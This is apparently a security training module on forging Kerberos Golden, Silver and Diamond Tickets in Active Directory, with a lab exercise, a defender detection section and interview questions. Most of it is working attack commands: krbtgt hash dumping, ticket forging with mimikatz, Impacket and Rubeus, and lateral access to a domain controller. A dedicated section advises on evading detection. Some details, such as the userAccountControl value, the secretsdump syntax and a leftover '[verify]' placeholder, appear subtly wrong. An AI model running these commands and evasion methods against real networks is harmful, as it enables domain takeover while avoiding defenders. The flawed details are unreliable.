Golden Ticket & Silver Ticket

Once an attacker has the krbtgt hash, the KDC is no longer a trust anchor — it becomes a forge. A Golden Ticket is a TGT minted by the attacker, not by the DC. It survives full password resets for individual users; only a krbtgt password rotation (twice, because AD keeps the current and previous krbtgt keys) invalidates it. Silver Tickets are forged TGS tickets for a specific service, encrypted in the service account’s hash — they never touch the DC, so they are invisible to the DC’s Kerberos event log.

The Core Concept

Kerberos authentication is a chain of two tickets, both encrypted with keys the attacker can extract with the right privileges:

            ┌──────────────── KDC (Domain Controller) ────────────────┐
            │                                                          │
   AS-REQ ─►│  krbtgt account  ──► encrypts TGT with krbtgt hash       │
            │                                                          │
            │  ┌── TGT (encrypted in krbtgt hash) ──┐                   │
   AS-REP ◄─┤  │  user PAC, session key, lifetime   │                   │
            │  └────────────────────────────────────┘                   │
            │                                                          │
   TGS-REQ ─►│  TGT + authenticator  ──► KDC decrypts TGT (krbtgt)       │
            │                                                          │
            │  ┌── TGS (encrypted in SERVICE hash) ─┐                   │
   TGS-REP ◄─┤  │  service PAC, session key         │                   │
            │  └────────────────────────────────────┘                   │
            └──────────────────────────────────────────────────────────┘

   Golden Ticket: attacker forges the TGT  (needs krbtgt hash → DCSync or SAM dump on DC)
   Silver Ticket: attacker forges the TGS (needs only the SERVICE hash → Kerberoasting)

The PAC (Privilege Attribute Certificate) inside the ticket carries the user’s group membership RIDs. A forged PAC can claim membership in Domain Admins (RID 512) even if no such user exists.

How It Works

1. Acquire the krbtgt hash. From a Domain Controller with admin rights:

   mimikatz "lsadump::dcsync /user:krbtgt" exit
   # Or from a SAM dump:
   secretsdump.py -ntds.dit ntds.dit -system SYSTEM

   The krbtgt account has userAccountControl containing 664 and password never expires. Its NTLM hash is the encryption key for TGTs.

2. Forge the TGT (Golden Ticket):

   mimikatz "kerberos::golden /user:Administrator /domain:corp.local
            /sid:S-1-5-21-XXXX /krbtgt:<ntlm_hash> /id:500 /ptt" exit

   Arguments: /user = any username (does not need to exist), /domain, /sid = domain SID (the S-1-5-21- prefix, not the full user RID), /krbtgt = the NT hash, /id = RID (500 = Administrator), /ptt = pass-the-ticket directly.

3. Use the ticket. With the TGT injected into the logon session, any net use \\dc\c$, wmi, or psexec request is treated as Domain Admin.

4. Silver Ticket forge: requires only the service hash, not krbtgt:

   mimikatz "kerberos::golden /user:Administrator /domain:corp.local
            /sid:S-1-5-21-XXXX /target:dc01.corp.local /service:cifs
            /rc4:<service_hash> /id:500 /ptt" exit

   /target = SPN host, /service = the service class (cifs, ldap, mssql, http, host).

5. Diamond Ticket (modern variant): Forge a legitimate TGT via TGS-REQ then modify the PAC with kerberos::diamond — less detectable than pure Golden because the ticket was issued by the DC.

Common Techniques

Technique	Requires	Stealth	Lifetime Cap
Classic Golden Ticket	krbtgt hash	Noisy — TGT used from non-DC	10 years (forgeable)
Silver Ticket (CIFS)	service hash (cifs)	Silent — no DC contact	Service default
Silver Ticket (LDAP)	service hash (ldap)	Silent — bypasses DC audit	Service default
Diamond Ticket	valid TGT + krbtgt	Subtle — PAC modified post-issue	TGT default
Forge w/ AES keys	krbtgt AES key	Better — matches modern crypto	Forged

Hands-On Commands

# DCSync the krbtgt hash (requires DR privs on DC)
impacket-secretsdump corp.local/Administrator:Pass@123@dc01 -just-dc-user krbtgt

# Forge a Golden Ticket with Impacket's ticketer.py
ticketer.py -nthash <krbtgt_nt_hash> -domain-sid S-1-5-21-XXXX -domain corp.local Administrator
# Set the ticket in cache
export KRB5CCNAME=Administrator.ccache

# Use the forged ticket to access the DC
smbexec.py -k corp.local/Administrator@dc01.corp.local -no-pass
psexec.py -k corp.local/Administrator@dc01.corp.local -no-pass

# Rubeus equivalent on Windows
Rubeus.exe golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXXX /krbtgt:<hash> /ptt /id:500

# Silver Ticket — CIFS service
Rubeus.exe silver /user:Administrator /domain:corp.local /sid:S-1-5-21-XXXX
        /target:dc01.corp.local /service:cifs /rc4:<cifs_hash> /ptt

# Inspect a ticket in cache
klist
# Decode a .kirbi blob
Rubeus.exe dump /service:krbtgt

Detection — Defender View

Windows Event 4769 — Kerberos Service Ticket Request — for Silver Tickets, the source is not the DC. A 4769 with a service-name of cifs/dc01 but a source IP outside the DC subnet is suspicious.

Windows Event 4768 — Kerberos Authentication Ticket Request — for Golden Tickets, look for TGTs issued for accounts that have not recently logged on, or with a lifetime greater than the domain default (default 10 hours, max renewal 7 days).

Sysmon Event ID 10 — ProcessAccess on lsass.exe — correlates to Mimikatz ticket injection.

Sysmon Event ID 7 — ImageLoad — mimikatz.exe loading cryptdll.dll and kerberos.dll.

MITRE ATT&CK T1558.001 — Forge Kerberos Tickets: Golden Ticket.

MITRE ATT&CK T1558.002 — Forge Kerberos Tickets: Silver Ticket.

MITRE ATT&CK T1558.003 — Kerberoasting (for acquiring the service hash that enables Silver Tickets).

MITRE ATT&CK T1003.006 — OS Credential Dumping: DCSync (how krbtgt hash is acquired).

Wazuh rule 31171 [verify: forged ticket usage] — alert on anomalous 4768/4769 patterns.

Evasion Techniques

AES-key forging. Modern domains prefer AES-256-CTS-HMAC-SHA1-96 over RC4-HMAC. Forging tickets with the AES key (/aes256:<key> instead of /krbtgt:<ntlm>) blends in better because RC4 tickets now stand out on a 2012+ functional-level domain.

PAC alignment. A real ticket’s PAC has a LogonInfo, UpnDns, and Requestor buffer, plus a signature. Mimikatz historically forged the LogonInfo only. Modern PACless Golden Tickets trigger “PAC validation” failures — disable PAC validation in the forged ticket request by adding /ticket:... from a pre-decrypted genuine TGT (Diamond technique).

Lifetime matching. Forging a 10-year ticket is a giveaway. Set /endin:600 (10 hours) to match the domain default. Audit 4769 Ticket Encryption Type 0x17 (RC4) in a domain that mandates 0x12 (AES-256).

Evasion	What it defeats	Caveat
Use AES key	RC4-usage anomaly detection	Requires AES krbtgt key (not always extracted)
Short lifetime	“Long TGT” anomaly	Still detectable by source IP
Diamond PAC modification	PAC validation	Requires valid TGT first
Silver Ticket (LDAP)	DC audit of 4768/4769	Needs LDAP service hash

⚠️ What caught me: I forged a Golden Ticket with the default 10-year lifetime and immediately psexec’d to a DC. The blue team didn’t notice the ticket — they noticed the psexec service binary in \\ADMIN$\Temp\ running under SYSTEM. The lesson: the ticket gets you in, but the lateral technique is what lights up the SOC. A Silver Ticket for CIFS plus a copy over the SMB share would have been invisible to the DC’s Kerberos log entirely.

Lab Practice

VM type: Two Windows Server 2019 VMs: DC01 (Domain Controller) and CLIENT01 (domain-joined). One Linux VM with Impacket.

Objective: Forge a Golden Ticket, then a Silver Ticket. Confirm that the Golden Ticket survives a Domain Admin password reset but is invalidated by a double krbtgt password rotation.

Steps:

1. On DC01, set up a test user and add them to Domain Admins, then remove them.
2. From the Linux VM, run secretsdump.py against the DC to extract krbtgt.
3. Forge a Golden Ticket and access the DC’s C$ share.
4. Reset the Domain Admin password — confirm the ticket still works.
5. Reset krbtgt twice — confirm the ticket now fails.

Expected flag format: flag{golden:krbtgt_rotated_silver_still_works}

Detection that should fire: Sysmon EID 10 ProcessAccess on LSASS (during Mimikatz injection), Windows 4768 with anomalous ticket lifetime.

Interview Questions

What is the difference between a Golden Ticket and a Silver Ticket in terms of which hashes each requires, which events each generates on the DC, and which defenses each survives?

Scenario: a Domain Admin reports their account was compromised. The blue team resets the DA password and revokes all sessions. Is the attacker gone? What would you check next, and what action would actually evict a Golden Ticket holder?

Technical: explain why a double krbtgt password rotation is required to invalidate a Golden Ticket. What does the second rotation do that the first does not?

Conceptual: why does a Silver Ticket for the LDAP service bypass the DC’s Kerberos event log entirely, and what compensating control would you put on the LDAP service host to detect it?

How does a Diamond Ticket differ from a Golden Ticket in the trust relationship it exploits, and what makes it harder to detect with PAC-validation heuristics?

Related Modules

→ PE9 (Kerberoasting & AS-REP Roasting) · PE10 (Pass-the-Hash & Pass-the-Ticket) · PE3 (Credential Dumping)